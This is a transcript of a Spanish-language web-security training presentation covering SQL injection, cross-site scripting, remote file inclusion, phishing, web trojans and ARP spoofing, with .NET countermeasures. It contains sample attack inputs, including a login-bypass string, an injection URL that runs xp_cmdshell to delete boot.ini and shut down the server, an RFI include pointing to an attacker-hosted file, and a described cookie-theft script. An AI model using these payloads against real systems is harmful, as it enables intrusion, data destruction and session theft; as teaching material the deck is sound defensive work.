Seguridad en aplicaciones web
Download
1 / 94

Seguridad en Aplicaciones Web - PowerPoint PPT Presentation


  • 153 Views
  • Uploaded on

Seguridad en Aplicaciones Web. Amenazas Web. Chema Alonso MS MVP Windows Server Security [email protected] Agenda Amenazas Web. Aplicaciones Web Vulnerabilidades: Sql Injection Vulnerabilidades: Cross-Site Scripting Vulnerabilidades: RFI Vulnerabilidades: Phising

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Seguridad en Aplicaciones Web' - obelia


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
Seguridad en aplicaciones web

Seguridad en Aplicaciones Web


Amenazas web

Amenazas Web

Chema Alonso

MS MVP Windows Server Security

[email protected]


Agenda amenazas web
Agenda Amenazas Web

  • Aplicaciones Web

  • Vulnerabilidades: Sql Injection

  • Vulnerabilidades: Cross-Site Scripting

  • Vulnerabilidades: RFI

  • Vulnerabilidades: Phising

  • Vulnerabilidades: WebTrojan

  • Vulnerabilidades: Capa 8



Tipos de aplicaciones web
Tipos de Aplicaciones Web

  • Web Site público.

    • Información destinada al público.

  • Intranet (ERP/CRM/Productividad)

    • Información privada de acceso interno.

  • Extranet (Productividad/B2B/B2C)

    • Información privada de acceso externo.


Arquitectura multicapa
Arquitectura Multicapa

Interfaz de Usuario

(GUI)

Lógica de la Aplicación

Almacén

De Datos

DCOM

BBDD

WebServer

Browser

WebService

BBDD

WebServer

RPC


Amenazas
Amenazas

  • Zone-h contabiliza 2.500 intrusiones Web con éxito cada día en 2004.

  • Se atacan todas las tecnologías

  • Los ataques se han escalado desde el sistema operativo a la aplicación.

  • Ataques no masivos.

  • Motivos:

    • Económicos

    • Venganza

    • Reto

    • Just For Fun


Cliente riesgos
Cliente - Riesgos

  • Navegador de Internet:

    • Ejecuta código en contexto de usuario.

    • Lenguajes potentes:

      • HTML/DHTML

      • vbScript/JavaScript/Jscript

    • Programas embebidos

      • Applets Java

      • ActiveX

      • Shockwave Flash

    • Códigos No protegidos

      • Cifrado cliente: Atrise.

      • Ofuscación de código.


C digo y poder
Código y poder

  • El código fuente es poder

    • Tanto para defenderse como para atacar

  • Compartir el código es compartir el poder.

    • Con los atacantes y defensores

  • Publicar el código fuente sin hacer nada más degrada la seguridad

  • Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.


Software seguro
Software Seguro

  • El software Fiable es aquel que hace lo que se supone que debe hacer.

  • El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.

    • Son los sorprendentes “algo mas” los que producen inseguridad.

  • Para estar seguro, debes de ejecutar solo software perfecto :-)

  • O, hacer algo para mitigar ese “algo mas”


Cliente riesgos1
Cliente - Riesgos

  • Ninguna protección en cliente es buena

  • Utilización de técnicas de MITM

    • Achilles

    • BurpSuite

    • Odysseus…

  • Decompiladores

    • Flash

    • Java


L gica de aplicaci n riesgos
Lógica de Aplicación - Riesgos

  • Servidor Web

    • Ejecuta código en contextos privilegiados.

    • Lenguajes potentes

    • Acceden a BBDD

    • Envían programas a clientes

    • Transferir ficheros

    • Ejecutar comandos sobre el sistema.

    • Soporte para herramientas de administración de otro software.

    • Códigos de Ejemplo


Almac n de datos riesgos
Almacén de Datos - Riesgos

  • SGBD

    • Lenguaje de 3ª y 4ª Generación.

    • Soporta múltiples bases de datos.

    • Catálogo global de datos.

    • Ejecuta programas sobre Sistema.

    • LOPD.

    • Transacciones económicas.

    • Información clave de negocio.



Explotaci n del ataque
Explotación del Ataque

  • Aplicaciones con mala comprobación de datos de entrada.

    • Datos de usuario.

      • Formularios

        • Text

        • Password

        • Textarea

        • List

        • multilist

    • Datos de llamadas a procedimientos.

      • Links

      • Funciones Scripts

      • Actions

  • Datos de usuario utilizados en consultas a base de datos.

  • Mala construcción de consultas a bases de datos.


Riesgos
Riesgos

  • Permiten al atacante:

    • Saltar restricciones de acceso.

    • Elevación de privilegios.

    • Extracción de información de la Base de Datos

    • Parada de SGBDR.

    • Ejecución de comandos en contexto usuario bd dentro del servidor.


Tipos de ataques
Tipos de Ataques

  • Ejemplo 1:

    • Autenticación de usuario contra base de datos.

      Select idusuario from tabla_usuarios

      Where nombre_usuario=‘$usuario’

      And clave=‘$clave’;

Usuario

Clave

****************


Tipos de ataques1
Tipos de Ataques

  • Ejemplo 1 (cont)

    Select idusuario from tabla_usuarios

    Where nombre_usuario=‘Administrador’

    And clave=‘’ or ‘1’=‘1’;

Usuario

Administrador

Clave

‘ or ‘1’=‘1



Tipos de ataques2
Tipos de Ataques

  • Ejemplo 2:

    • Acceso a información con procedimientos de listado.

      http://www.miweb.com/prog.asp?parametro1=hola

      Ó

      http://www.miweb.com/prog.asp?parametro1=1


Tipos de ataques3
Tipos de Ataques

  • Ejemplo 2 (cont):

    http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --

    Ó

    http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --



Contramedidas
Contramedidas

  • No confianza en medias de protección en cliente.

  • Comprobación de datos de entrada.

  • Construcción segura de sentencias SQL.

  • Fortificación de Servidor Web.

    • Códigos de error.

    • Restricción de verbos, longitudes, etc..

    • Filtrado de contenido HTTP en Firewall.

  • Fortificación de SGBD.

    • Restricción de privilegios de motor/usuario de acceso desde web.

    • Aislamiento de bases de datos.


Contramedidas1
Contramedidas

  • Desarrollo .NET

    • Redirigir a una página personalizada en caso de error

    • Web.Config

      • Mode  On, Off, RemoteOnly

      • DefaultRedirect  Error no especificado

      • <error…>Errores específicos

<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">

<error statusCode="403" redirect="NoAccess.htm"/>

<error statusCode="404" redirect="FileNotFound.htm"/>

</customErrors>


Contramedidas2
Contramedidas

  • Desarrollo .NET (Validadores)


Contramedidas3
Contramedidas

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"‘

and password='"+ txtPassword.Text +"'";

cmd.CommandType = CommandType.Text;

SqlDataReader dr = cmd.ExecuteReader();

if (dr.HasRows){

//Código para permitir el paso a la aplicación

Response.Write("<script>alert('Acceso permitido');</script>");

}

else{

//Codigo para rechazar el usuario

Response.Write("<script>alert('Acceso denegado');</script>");

}

conn.Close();

}

  • Desarrollos en .NET (Código inseguro)


Contramedidas4
Contramedidas

  • Desarrollo .NET (Código seguro)

    • Consultas parametrizadas

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where [email protected]

and [email protected]";

cmd.Parameters.AddWithValue("login", txtLogin);

cmd.Parameters.AddWithValue("pass", txtPassword.Text);

cmd.CommandType = CommandType.Text;

dr = cmd.ExecuteReader();

if (dr.HasRows){//Código para permitir el paso a la aplicación

Response.Write("<script>alert('Acceso permitido');</script>");

} else{//Codigo para rechazar el usuario

Response.Write("<script>alert('Acceso denegado');</script>");

} conn.Close(); }



Explotaci n del ataque1
Explotación del Ataque

  • Datos almacenados en servidor desde cliente.

  • Datos van a ser visualizados por otros cliente/usuario.

  • Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.


Riesgos1
Riesgos

  • Ejecución de código en contexto de usuario que visualiza datos.

    • Navegación dirigida

    • Phising

    • Spyware

    • Robo de credenciales

    • Ejecución de acciones automáticas

    • Defacement


Tipos de ataques4
Tipos de Ataques

  • Mensajes en Foros.

  • Firma de libro de visitas.

  • Contactos a través de web.

  • Correo Web.

  • En todos ellos se envían códigos Script dañinos.



Robo de sesiones xss
Robo de Sesiones (XSS)

  • Mediante esta técnica se puede robar sesiones de una manera bastante sencilla

  • Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie

  • Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS

  • Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie


Robo de sesiones xss1
Robo de Sesiones (XSS)

  • Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original

  • Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión



Contramedidas5
Contramedidas

  • Fortificación de aplicación

    • Comprobación fiable de datos

  • Fortificación de Clientes

    • Ejecución de clientes en entorno menos privilegiado.

    • Fortificación de navegador cliente.

      • MBSA.

      • Políticas.


Contramedidas6
Contramedidas

  • Desarrollo .NET

    • En ASP.NET el Cross Site Scripting está deshabilitado por defecto

      • El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos

      • Se puede deshabilitar este tipo de verificación mediante un atributo de la directiva @Page

    • Para deshabilitarlo

<%@ Page …ValidateRequest=“false” … %>



Remote file inclusion rfi
Remote File Inclusion (RFI)

  • Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores

  • Se debe a una mala programación o uso de la función include()

  • Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor


Remote file inclusion rfi1
Remote File Inclusion (RFI)

  • La vulnerabilidad es producida por código semejante a este

  • En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor

$page = $_GET['page'];

include($page);

http://victima.com/pagvuln.php?page=http://[misitio]/miFichero


Remote file inclusion rfi2
Remote File Inclusion (RFI)

  • Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)


Remote file inclusion rfi3
Remote File Inclusion (RFI)

  • Mediante las shell PHP se pueden ejecutar comandos en una página Web

  • Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.

  • “El inconveniente” es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos


Remote file inclusion rfi4
Remote File Inclusion (RFI)

  • Sin embargo, existen funciones como show_source(‘archivo’) que permiten la visualización del código fuente de una página

  • A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio

  • El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web




Explotaci n del ataque2
Explotación del Ataque

  • Basado en técnicas de Ingeniería Social.

  • Se aprovecha de la confianza de los usuarios.

  • Se aprovecha de la falta de formación en seguridad de los usuarios.

  • Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.


Riesgos2
Riesgos

  • Suplantación de Sitios Web para engañar al usuario.

  • Robo de credenciales de acceso a web restringidos.

    • Robo de dinero

    • Compras por Internet

    • Bromas pesadas


Tipos de ataques5
Tipos de Ataques

  • Se falsea la dirección de DNS del servidor

    • Falsificación hosts

      • Troyanos, Físicamente, Shellcodes exploits

    • DHCP

    • DNS Spoofing

      • Man in The Middle

  • Se engaña la navegación.

    • Frames Ocultos

    • URLs falseadas.

  • Se implanta en la nueva ubicación un servidor replica.

  • Se implantan hasta fakes de certificados digitales


Exploits
Exploits

infohacking.com


Contramedidas7
Contramedidas

  • Uso de CA de confianza

  • Formación a usuarios

  • Gestión de actualizaciones de seguridad

  • Códigos de aplicaciones seguras

  • Control físico de la red

  • Comprobación DHCP



Explotaci n de ataque
Explotación de Ataque

  • Servidores Web no fortificados

    • Ejecución de programas en almacenes de ficheros.

    • Subida de ficheros a servidores.

      • Imágenes para publicaciones.

      • Archivos de informes.

      • Currículos, cuentos, etc...

    • Almacenes de ficheros accesibles en remoto

  • Usuario en contexto servidor Web no controlado


Riesgos3
Riesgos

  • Implantación de un troyano que puede:

    • Gestionar ficheros

    • Ejecutar programas

    • Destrozar el sistema

    • Defacement

    • Robo de información

    • ....


Tipos de ataques6
Tipos de Ataques

  • Programación de un troyano en PHP, ASP o JSP

  • Utilización de objetos FileObject

  • Subida mediante ASP Upload, FTP o RFI

  • Busqueda del lugar de almacenamiento

  • Invocación por URL pública del servidor Web



Contramedidas8
Contramedidas

  • Fortificación de servidores Web

    • Menor Privilegio

      • Ejecución de programas en sitios restringidos

      • Listado de directorios ocultos

      • Usuario de servidor en contexto controlado

    • Subida de archivos controlada

      • Ubicación no accesible desde URL pública

      • Tipos de ficheros controlados

        • Tamaño, tipo, extensión, etc..

        • Filtrado vírico -> Rootkits


Contramedidas9
Contramedidas

  • Desarrollo .NET

    • En ASP.NET se puede verificar la extensión del fichero que se sube al servidor

      • Evita la subida de ficheros potencialmente peligrosos

if (!FileUpload1.PostedFile.FileName.EndsWith(".jpg"))

{

//Error: El fichero no es del tipo esperado

}



Explotaci n de ataque1
Explotación de Ataque

  • Falta de conocimiento SD3

    • Diseño

    • Configuraciónes

    • Implantación

  • Administradores/Desarrolladores no formados en Seguridad

    • Hacking Ético

  • Falta de conocimiento del riesgo


Riesgos4
Riesgos

  • Insospechados:

    • Bases de datos públicas

    • No protección de datos

    • No protección de sistemas

    • .....


Tipos de ataques7
Tipos de Ataques

  • Hacking Google

  • Administradores predecibles

    • http://www.misitio.com/administracion

    • http://www.misitio.com/privado

    • http://www.misitio.com/gestion

    • http://www.misitio.com/basedatos

  • Ficheros log públicos

    • WS_ftp.log

  • Estadísticas públicas

    • Webalyzer



Contramedidas10
Contramedidas

  • Formación

  • Ficheros Robots

    • Robots.txt

  • LOPD y LSSI

    • www.lssi.es

  • Writting Secure Code




Troyanos

Troyanos

“Hay un amigo en mi”


Video

Video

Que puede hacer un troyano


Troyano
Troyano

  • Programa que se ejecuta en tu máquina y cuyo control no depende de ti.

  • Como el …..

  • Mil formas, mil colores

  • Los Hackers la llaman la “girlfriend”


Obtenci n de privilegios
Obtención de Privilegios

  • Fallo en la cadena:

    • Procesos:

      • Sistema no cerrado.

    • Tecnología:

      • Fallo en sw de sistema operativo

      • Fallo en sw ejecución de códigos.

    • Personas:

      • Ingeniería Social: “¡Que lindo programita!”

      • Navegación privilegiada


Objetivos
Objetivos

  • Control remoto:

    • Instalan “suites” de gestión del sistema.

  • Robo de información

  • Modificación del sistema:

    • Phishing

    • Creación de usuarios

    • Planificación de tareas

    • ....


Instalaci n del troyano
Instalación del Troyano

  • Se suele acompañar de “un caballo” para tranquilizar a la víctima.

    • Se añaden a otro software.

      • EJ: Whackamole

      • Joiners, Binders

    • Incluidos en documentos que ejecutan código:

      • Word, excel, swf, .class, pdf, html, etc...


Instalaci n del troyano1
Instalación del Troyano

  • Simulando ser otro programa

    • P2P, HTTP Servers

      • Paquetes Zip autodescomprimibles

      • Programas con fallo de .dll

    • Instaladores de otro SW


Demo:

Un troyano de andar por casa pa… phisear


Demo:

Un troyano de andar por casa pa… meter un backdoor


Demo:

Un troyano de andar por casa pa… abrir una shell


Demo:

Un troyano de andar por casa pa… robar una shell


Detecci n de troyanos
Detección de Troyanos

  • Anti-Mallware

    • Antivirus

    • AntiSpyware

  • Comportamiento anómalo del sistema

  • Configuraciones nuevas

    • Cambio en páginas de navegación

    • Puertos

    • ....


Prevenci n contra troyanos
Prevención contra Troyanos

  • Defensa en Profundidad

  • Mínimo Privilegio Posible

  • Mínimo punto de exposición

  • Gestión de updates de seguridad

  • Antivirus/AntiSpyware

  • Ejecución controlada de programas

  • Navegación segura


Ataque envenenamiento arp

Ataque:Envenenamiento ARP


Rfc 1180 tcp ip tutorial
RFC 1180 - TCP/IP tutorial

There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.


T cnicas de spoofing
Técnicas de Spoofing

  • Las técnicas spoofing tienen como objetivo suplantar validadores estáticos

Un validador estático es un medio de autenticación que permanece invariable antes, durante y después de la concesión.


Niveles Afectados

Nombres de dominio

Direcciones de correo electrónico

Nombres de recursos compartidos

SERVICIO

RED

Dirección IP

ENLACE

Dirección MAC


Tipos de t cnicas de spoofing
Tipos de técnicas de Spoofing

  • Spoofing ARP

    • Envenenamiento de conexiones.

    • Man in the Middle.

  • Spoofing IP

    • Rip Spoofing.

    • Hijacking.

  • Spoofing SMTP

  • Spoofing DNS

    • WebSpoofing.


T cnicas de sniffing
Técnicas de Sniffing

  • Capturan tráfico de red.

  • Necesitan que la señal física llegue al NIC.

  • En redes de difusión mediante concentradores todas las señales llegan a todos los participantes de la comunicación.

  • En redes conmutadas la comunicación se difunde en función de direcciones.

    • Switches utilizan dirección MAC.


Nivel de Enlace: Spoofing ARP

  • Suplantar identidades físicas.

    • Saltar protecciones MAC.

    • Suplantar entidades en clientes DHCP.

    • Suplantar routers de comunicación.

  • Solo tiene sentido en comunicaciones locales.


Dirección Física

  • Tiene como objetivo definir un identificador único para cada dispositivo de red.

  • Cuando una máquina quiere comunicarse con otra necesita conocer su dirección física.

    • Protocolo ARP

  • No se utilizan servidores que almacenen registros del tipo:

    • Dirección MAC <-> Dirección IP.

  • Cada equipo cuenta con una caché local donde almacena la información que conoce.


Ataque arp m an i n t he m iddle
Ataque ARP Man In The Middle

1.1.1.2 esta en99:88:77:66:55:44

1.1.1.1 esta en 99:88:77:66:55:44

1.1.1.1

¿Quien tiene 1.1.1.2?

1.1.1.2 esta en 00:11:22:33:44:55:66

1.1.1.2


Protección contra Envenenamiento

  • Medidas preventivas.

    • Control físico de la red.

      • Bloqueo de puntos de acceso.

      • Segmentación de red.

    • Gestión de actualizaciones de seguridad.

      • Protección contra Exploits.

      • Protección contra troyanos.


Protecci n contra envenenamiento
Protección contra Envenenamiento

  • Medidas preventivas.

    • Cifrado de comunicaciones.

      • IPSec.

      • Cifrado a nivel de Aplicación:

        • S/MIME.

        • SSL.

    • Certificado de comunicaciones.


Protección contra Envenenamiento

  • Medidas reactivas.

  • Utilización de detectores de Sniffers.

    • Utilizan test de funcionamiento anómalo.

      • Test ICMP.

      • Test DNS.

      • Test ARP.

  • Sistemas de Detección de Intrusos


Frase vs passwords
Frase vs. Passwords



Technews
TechNews

  • Suscripción gratuita enviando un mail:

    • mailto:[email protected]


Contacto
Contacto

  • Chema Alonso

    • [email protected]

  • Informatica64

    • http://www.informatica64.com

    • http://www.informatica64.com/hol.htm

    • http://elladodelmal.blogspot.com

    • [email protected]

    • +34 91 226 82 08


ad